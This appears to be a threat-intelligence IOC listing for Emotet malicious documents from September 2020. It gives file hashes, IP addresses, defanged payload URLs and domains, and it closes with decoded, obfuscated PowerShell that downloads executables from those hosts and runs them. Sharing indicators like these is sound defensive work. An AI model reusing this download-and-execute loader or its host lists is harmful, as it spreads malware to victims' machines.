Emotet_Doc_out_2020-09-14_22_25.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
28c80f27f09dddc1af681edceb122d548ac17c2d39a92d17026d45b3cf3ad6fd
785e1a7b7818be6954ac21f9d27f2d52615235cd8915f6580b94a3ccf806c8ee
f8e3f7ec699ba3ec6580deed857867ec0f067538a224908d2dd48bb6b1bb8fac
813835e555a57244f759ea1f03dd32d05bc472af33d6ed3c4ff22fc850798fe3
3b211810dcd8176df286ff6d29407b15b8977014c8a22899ef51874995c40462
f1f5cf89e4efd6d4fda071cfc2489dc4f7ebbee392f80bcfda05d7b16a296d72
79717451025cac2820d0e2aeb5f9cc7b8df2fd300b3c76c4dcacbf8605746deb
7d3c7910d791d2695cbfbe9c9a3c1d9422ce6fdbea545343e7092c073c8ab4a5
506bd0bf18d33b2e92b6638ec09ed0af6dcedffe870c41063f7845695e19fbc4
e2d78cd26f57320bd4d389bca9a102cb68b93213ef40646d7d75edee2b627bb1
31948483fc5ed6d49d09367c9dd1e1d602a0124ce7f4758a4ec04c3c9b71c2fb


IPs:
104.194.10.93
104.27.155.238
104.27.186.49
104.27.187.49
108.167.188.50
136.144.213.181
144.168.41.18
144.208.79.23
144.76.42.253
164.68.111.62
166.62.108.196
172.67.140.13
185.169.97.243
185.195.15.164
185.2.4.71
185.66.41.119
191.6.196.118
192.185.215.162
207.244.248.53
31.186.8.162
45.119.81.203
46.183.8.124
46.28.2.41



URLs:
hxxp://personalizzabili.com/images/lvyX7QK/
hxxp://www.bismarjeparamebel.com/u/qkhyf/
hxxp://agenciatabletshouse.com.br/erros/1PM/
hxxp://desk4succes.nl/stats/cNFjYB/
hxxp://westerndata.com.au/wp-includes/3jp/
hxxp://graphicom.it/cgi-bin/HsPkL/
hxxp://oneinsix.com/test/1F4c/."sP`LiT"[char]42;
hxxp://academiadotrader.net/wp-content/f/
hxxp://whitegoldinitiatives.org/wp-admin/d/
hxxps://lifeadvicer.com/wp-content/L/
hxxp://intc.solutions/wp-content/qi6/
hxxp://sanatcifiyatlari.net/dup-installer/5/
hxxps://www.letslearntech.com/wp-content/u/
hxxps://sublimatransfer.com/backup28082020/Ir/."S`plIT"[char]42;
hxxps://blueyellowshop.com/wp-includes/mihae8A/
hxxp://kingsalmanquran.com/wp-content/wuPyeI/
hxxps://dagranitegiare.com/wp-admin/Z21r6R/
hxxp://acontarborreguitos.com/acontarborreguitos/I/
hxxp://atenaclinicaesegurancadotrabalho.com/cgi-bin/NlMH/
hxxp://digitalbazar.com/wp-admin/RVEzrK/
hxxps://byc-center.com/wp-admin/Z4r/."sP`lit"[char]42;


Domains:
personalizzabili.com
www.bismarjeparamebel.com
agenciatabletshouse.com.br
desk4succes.nl
westerndata.com.au
graphicom.it
oneinsix.com
academiadotrader.net
whitegoldinitiatives.org
lifeadvicer.com
intc.solutions
sanatcifiyatlari.net
www.letslearntech.com
sublimatransfer.com
blueyellowshop.com
kingsalmanquran.com
dagranitegiare.com
acontarborreguitos.com
atenaclinicaesegurancadotrabalho.com
digitalbazar.com
byc-center.com


Decoded Base64 Powershell:
$Fretz5y=Dkbc63r;
.new-item $enV:UseRpRofile\R0Ulrrw\Ae5LEy5\ -itemtype DireCTory;
[Net.ServicePointManager]::"SEcUR`I`TY`protOcOL" = tls12, tls11, tls;
$Gd55icf = It3o0t4d;
$Wi9y5ov=Sw20xp5;
$Odmjcre=$env:userprofileE6KR0ulrrwE6KAe5ley5E6K."r`EPLA`ce"[chAR]69[chAR]54[chAR]75,\$Gd55icf.exe;
$Qhgpuxj=H_v8pg1;
$Pc2zwac=.new-object nET.wEbcliENT;
$Ji4kgyw=hxxp://personalizzabili.com/images/lvyX7QK/
hxxp://www.bismarjeparamebel.com/u/qkhyf/
hxxp://agenciatabletshouse.com.br/erros/1PM/
hxxp://desk4succes.nl/stats/cNFjYB/
hxxp://westerndata.com.au/wp-includes/3jp/
hxxp://graphicom.it/cgi-bin/HsPkL/
hxxp://oneinsix.com/test/1F4c/."sP`LiT"[char]42;
$Ab5v1il=M4eg1vz;
foreach$Pqxpns5 in $Ji4kgyw{try{$Pc2zwac."dOW`Nloa`dfilE"$Pqxpns5, $Odmjcre;
$Ycllwz9=Zko54z6;
If &Get-Item $Odmjcre."LENG`TH" -ge 30858 {&Invoke-Item$Odmjcre;
$B0vvjwp=H02sd91;
break;
$M0m6odl=Pwp6rd4}}catch{}}$Pjywetz=Xpm2g18$Nkvruo1=Uct6xtv;
&new-item $eNV:UserPrOfile\WjJDXya\XIaRZ6E\ -itemtype diReCTOry;
[Net.ServicePointManager]::"se`cURi`TyP`ROTOcoL" = tls12, tls11, tls;
$P3ghaap = Kanb27zv;
$Obyzcb2=Vz2p9fr;
$Gje08zu=$env:userprofileoHYWjjdxyaoHYXiarz6eoHY  -crEPLACE  [ChAr]111[ChAr]72[ChAr]89,[ChAr]92$P3ghaap.exe;
$Ilvef0o=Kczscwy;
$Isw52zm=&new-object NeT.WebCLienT;
$Qm4ex42=hxxp://academiadotrader.net/wp-content/f/
hxxp://whitegoldinitiatives.org/wp-admin/d/
hxxps://lifeadvicer.com/wp-content/L/
hxxp://intc.solutions/wp-content/qi6/
hxxp://sanatcifiyatlari.net/dup-installer/5/
hxxps://www.letslearntech.com/wp-content/u/
hxxps://sublimatransfer.com/backup28082020/Ir/."S`plIT"[char]42;
$Aiamci1=Uh456hs;
foreach$Q5zhk__ in $Qm4ex42{try{$Isw52zm."do`W`Nloa`DfIlE"$Q5zhk__, $Gje08zu;
$Wtoueqd=Qakaniv;
If .Get-Item $Gje08zu."l`e`NgtH" -ge 24748 {&Invoke-Item$Gje08zu;
$Eozeerd=Om9fv4h;
break;
$Vxuhdqu=L1b01yu}}catch{}}$O4y4422=I9vegqc$Q_f7wys=Qboz3sz;
.new-item $eNv:uSErpROFile\PfnoyhG\w2lwD2_\ -itemtype DIREcTORy;
[Net.ServicePointManager]::"sE`c`UrI`Ty`prot`ocOL" = tls12, tls11, tls;
$Aeb370c = Pcy7xg6;
$Vg0pvs2=Dre75hg;
$Ra85g8d=$env:userprofilelBFPfnoyhglBFW2lwd2_lBF."r`epLace"[CHaR]108[CHaR]66[CHaR]70,[StrIng][CHaR]92$Aeb370c.exe;
$Rs2x5s0=B0aade9;
$Oht57tr=.new-object nET.weBclIEnt;
$U27o44j=hxxps://blueyellowshop.com/wp-includes/mihae8A/
hxxp://kingsalmanquran.com/wp-content/wuPyeI/
hxxps://dagranitegiare.com/wp-admin/Z21r6R/
hxxp://acontarborreguitos.com/acontarborreguitos/I/
hxxp://atenaclinicaesegurancadotrabalho.com/cgi-bin/NlMH/
hxxp://digitalbazar.com/wp-admin/RVEzrK/
hxxps://byc-center.com/wp-admin/Z4r/."sP`lit"[char]42;
$Dybp1ck=Heukn4u;
foreach$Hz7jbau in $U27o44j{try{$Oht57tr."DownLOA`D`FILE"$Hz7jbau, $Ra85g8d;
$X2iepix=Fvoxr2g;
If .Get-Item $Ra85g8d."LeN`GTh" -ge 20136 {&Invoke-Item$Ra85g8d;
$Q2ff2iv=Pm19yaj;
break;
$Pem85c9=Shfzxzu}}catch{}}$O31cpjf=Q7579pu